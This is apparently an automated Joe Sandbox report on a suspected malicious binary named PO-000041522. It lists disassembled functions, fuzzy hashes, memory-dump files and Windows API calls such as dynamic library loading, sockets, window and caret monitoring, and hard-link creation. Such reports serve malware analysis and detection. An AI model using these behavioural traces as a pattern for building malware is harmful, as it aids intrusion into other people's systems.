                                                                                                • Opcode Fuzzy Hash: 6185319e308da20cada839ab45c9b495ae08667f7fcbc38289cab910c1f21f55
                                                                                                • Instruction Fuzzy Hash: 941182B16042009BF730EB55EC96FABB7A8FB91714F00452EE648CA281DB7A9445CB76
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AllocTask_wcslen
                                                                                                • String ID: hkG
                                                                                                • API String ID: 2651040394-3610518997
                                                                                                • Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                                                                                                • Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                                                • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                                                                                                • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                                                • API String ID: 2574300362-1816364905
                                                                                                • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
                                                                                                • Opcode Fuzzy Hash: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                                                • Instruction Fuzzy Hash: F9D05EB1440B039FCB109FA0D80C64BB6E4AB64301F148C2EF885B2654D7B8E8C0CBA8
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434466,?,?,00464B68,?,?,?,?,?,00000000,?,?,00000101,?), ref: 004343DE
                                                                                                • GetProcAddress.KERNEL32(00000000,IcmpSendEcho), ref: 004343F0
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                • String ID: ICMP.DLL$IcmpSendEcho
                                                                                                • API String ID: 2574300362-58917771
                                                                                                • Opcode ID: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                • Instruction ID: bde82dd314f67bb94adb8237e566b22d9cd50c1f3059090bebd97951f1ce1dc3
                                                                                                • Opcode Fuzzy Hash: 4b46215cfc07257f28131f0af9bcf44c57d27cd5d24dcd7dc697cbf0f45d51b4
                                                                                                • Instruction Fuzzy Hash: C9D017B45043039BD7105B21D80874A76E4AF58310F118C2FF881E2250CBBCE8808B79
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(ICMP.DLL,?,0043447D,?,?,00464B56,?,?,?,?,00000000,?,?,00000101,?,?), ref: 0043440D
                                                                                                • GetProcAddress.KERNEL32(00000000,IcmpCloseHandle), ref: 0043441F
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                • String ID: ICMP.DLL$IcmpCloseHandle
                                                                                                • API String ID: 2574300362-3530519716
                                                                                                • Opcode ID: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                • Instruction ID: 815a2f2ef77883dfca24b23846b24e776c3b140ddfaf16f0983d17b56328066b
                                                                                                • Opcode Fuzzy Hash: 42f9b5773da98e9266fb1162e4ae0909fe6bfc7ac22b46aa183d999fe3c035a4
                                                                                                • Instruction Fuzzy Hash: 9FD017B04443129AD7106B64D80874A76E4AB68302F129C3FF881A2660C7BCA8808B39
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(ICMP.DLL,?,00434494,?,?,00464A94,?), ref: 0043443C
                                                                                                • GetProcAddress.KERNEL32(00000000,IcmpCreateFile), ref: 0043444E
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                • String ID: ICMP.DLL$IcmpCreateFile
                                                                                                • API String ID: 2574300362-275556492
                                                                                                • Opcode ID: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                • Instruction ID: c247b13c068300da1972229949477068df6ba5342f41feac8fae2a533bc96115
                                                                                                • Opcode Fuzzy Hash: aa837af65d1bad252c0530eb36f48db089182c3e5c3795977f5f1506c5c05052
                                                                                                • Instruction Fuzzy Hash: 97D017B04043029ADB105B60D90875A77E4AB68300F118C7FF9A1A2250C7BCA8808B29
                                                                                                APIs
                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll,0040E551,?), ref: 0040EE7B
                                                                                                • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040EE8D
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                • String ID: IsWow64Process$kernel32.dll
                                                                                                • API String ID: 2574300362-3024904723
                                                                                                • Opcode ID: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                • Instruction ID: 75875fa2f3f8b89ed4c8cde0d061cde3839b728dd3838c322d7dfd2ddbff31fa
                                                                                                • Opcode Fuzzy Hash: 16a412f97595c511ed2c9e877c1bae7dd0f808d0cf5b3a9fdd28adcf59ee176d
                                                                                                • Instruction Fuzzy Hash: 51D0C9B0940707DAC7301F72C91871B7AE4AB40342F204C3EB995A1290DBBCC0408B28
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ClearVariant
                                                                                                • String ID:
                                                                                                • API String ID: 1473721057-0
                                                                                                • Opcode ID: 72043276f9232514ce53ece83c9bfc5c0be145016a72fe773dab1ae5467dc3b3
                                                                                                • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                                                                                                • Opcode Fuzzy Hash: 72043276f9232514ce53ece83c9bfc5c0be145016a72fe773dab1ae5467dc3b3
                                                                                                • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                                                                                                APIs
                                                                                                • __flush.LIBCMT ref: 00414630
                                                                                                • __fileno.LIBCMT ref: 00414650
                                                                                                • __locking.LIBCMT ref: 00414657
                                                                                                • __flsbuf.LIBCMT ref: 00414682
                                                                                                  • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                  • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                • String ID:
                                                                                                • API String ID: 3240763771-0
                                                                                                • Opcode ID: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                                                                                                • Opcode Fuzzy Hash: da881668a639e25d03d88a6d97948a76b4f19f87a827f6f9fc91a47de182ffa5
                                                                                                • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                                                                                                APIs
                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                • VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CopyVariant$ErrorLast
                                                                                                • String ID:
                                                                                                • API String ID: 2286883814-0
                                                                                                • Opcode ID: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                                                                                                • Opcode Fuzzy Hash: 5518b7b53ef3ca50261af568c513a59c65815d8cf0fffae25230fe941ba47538
                                                                                                • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                                                                                                APIs
                                                                                                • socket.WSOCK32(00000002,00000002,00000011), ref: 00474068
                                                                                                • WSAGetLastError.WSOCK32(00000000,00000002,00000002,00000011), ref: 00474076
                                                                                                • #21.WSOCK32 ref: 004740E0
                                                                                                • WSAGetLastError.WSOCK32(00000000), ref: 004740EB
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorLast$socket
                                                                                                • String ID:
                                                                                                • API String ID: 1881357543-0
                                                                                                • Opcode ID: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                • Instruction ID: ff1742a21ceaee7448286ece46cbaad1fa76dded649dcd1b12ff87c083dae87e
                                                                                                • Opcode Fuzzy Hash: 49e735c62c31738b54d4bbc911449ab864d290153f15be7477df25c465b7d9f8
                                                                                                • Instruction Fuzzy Hash: 7641D9717403006AE720BF6ADC47F5672C89B54B18F14496EF648BF2C3D6FAA881869C
                                                                                                APIs
                                                                                                • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                • GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                • PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                • MessageBeep.USER32(00000000), ref: 00441DF2
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Rect$BeepClientMessageScreenWindow
                                                                                                • String ID:
                                                                                                • API String ID: 1352109105-0
                                                                                                • Opcode ID: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                • Instruction ID: 11ad13a84751b34e4f8a983c71a6a29643224e7bbeba0240db3aabd8edeb2108
                                                                                                • Opcode Fuzzy Hash: f335056d542ece3fcaf1afd85692f97af485635a3f9ffa8235448c3f06d12885
                                                                                                • Instruction Fuzzy Hash: E64192B5A042418FE710DF18D884AABB7E5FFC9311F18866FE8518B360D734AC85CBA5
                                                                                                APIs
                                                                                                • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0042387E
                                                                                                • __isleadbyte_l.LIBCMT ref: 004238B2
                                                                                                • MultiByteToWideChar.KERNEL32(?,00000009,00000002,?,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 004238E3
                                                                                                • MultiByteToWideChar.KERNEL32(?,00000009,00000002,00000001,00000000,00000000,?,?,?,00000000,00000002,00000000), ref: 00423951
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                                                • String ID:
                                                                                                • API String ID: 3058430110-0
                                                                                                • Opcode ID: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                • Instruction ID: 550681b3841f0f34ee613cb5364b25607849a03987ccfca5eaaec14299199b49
                                                                                                • Opcode Fuzzy Hash: f131ee11c0d220cb2dc6b3da44158834730645c68ebbd2a61d5b0c3ed448205f
                                                                                                • Instruction Fuzzy Hash: A931C270B00265EFDB20EF64D8849AA7BF5EF01312B9445AAF0A09F291D338CE81CB55
                                                                                                APIs
                                                                                                • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D10A
                                                                                                • GetLastError.KERNEL32(?,00000000), ref: 0045D12B
                                                                                                • DeleteFileW.KERNEL32(00000000,?), ref: 0045D14C
                                                                                                • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0045D16A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateHardLink$DeleteErrorFileLast
                                                                                                • String ID:
                                                                                                • API String ID: 3321077145-0
                                                                                                • Opcode ID: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                • Instruction ID: 240381fd0e223f31e6bb83dc4f900fe278965bce5f9bbaa9f824fb1079ab41c9
                                                                                                • Opcode Fuzzy Hash: 7cd5f2a63614e36a101d3a24e32b13d83311d412b7f68151a30e37c1c693f1dc
                                                                                                • Instruction Fuzzy Hash: 393180B5900301ABCB10AF71C985A1BF7E8AF84755F10891EF85497392C739FC45CB68
                                                                                                APIs
                                                                                                • GetParent.USER32(?), ref: 004505BF
                                                                                                • DefDlgProcW.USER32(?,00000138,?,?,004A83D8,?,004A83D8,?), ref: 00450610
                                                                                                • DefDlgProcW.USER32(?,00000133,?,?,004A83D8,?,004A83D8,?), ref: 0045065A
                                                                                                • DefDlgProcW.USER32(?,00000134,?,?,004A83D8,?,004A83D8,?), ref: 00450688
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Proc$Parent
                                                                                                • String ID:
                                                                                                • API String ID: 2351499541-0
                                                                                                • Opcode ID: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                • Instruction ID: e3e31f905615dd8bfbe674c7a91f48f64006a8638b4dc9b760805e547d05c650
                                                                                                • Opcode Fuzzy Hash: 93bb19dea30658450b5dada9832e261aba4ffbe4fc891123e7e77a8d6405a749
                                                                                                • Instruction Fuzzy Hash: 8C3128362411006BC2209B299C58DBB7B58EBC7336F14465BFA54832D3CB769826C768
                                                                                                APIs
                                                                                                  • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                                                                                                • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                                                                                                • __itow.LIBCMT ref: 00461461
                                                                                                • __itow.LIBCMT ref: 004614AB
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$__itow$_wcslen
                                                                                                • String ID:
                                                                                                • API String ID: 2875217250-0
                                                                                                • Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                • Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
                                                                                                • Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                • Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB
                                                                                                APIs
                                                                                                • GetForegroundWindow.USER32 ref: 00472806
                                                                                                  • Part of subcall function 00443EEF: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 00443F11
                                                                                                  • Part of subcall function 00443EEF: GetCurrentThreadId.KERNEL32 ref: 00443F18
                                                                                                  • Part of subcall function 00443EEF: AttachThreadInput.USER32(00000000), ref: 00443F1F
                                                                                                • GetCaretPos.USER32(?), ref: 0047281A
                                                                                                • ClientToScreen.USER32(00000000,?), ref: 00472856
                                                                                                • GetForegroundWindow.USER32 ref: 0047285C
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                                • String ID:
                                                                                                • API String ID: 2759813231-0
                                                                                                • Opcode ID: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                • Instruction ID: 38f02bd9b1f6bed34cfa7ce2d7f69328ba3456287a0ba45db7850a86b8391dd2
                                                                                                • Opcode Fuzzy Hash: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                • Instruction Fuzzy Hash: FF2195716403056FE310EF65CC42F5BB7E8AF84708F144D2EF544AB282D6FAB9858795
                                                                                                APIs
                                                                                                  • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                • GetWindowLongW.USER32(?,000000EC), ref: 0047728E
                                                                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
                                                                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
                                                                                                • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0
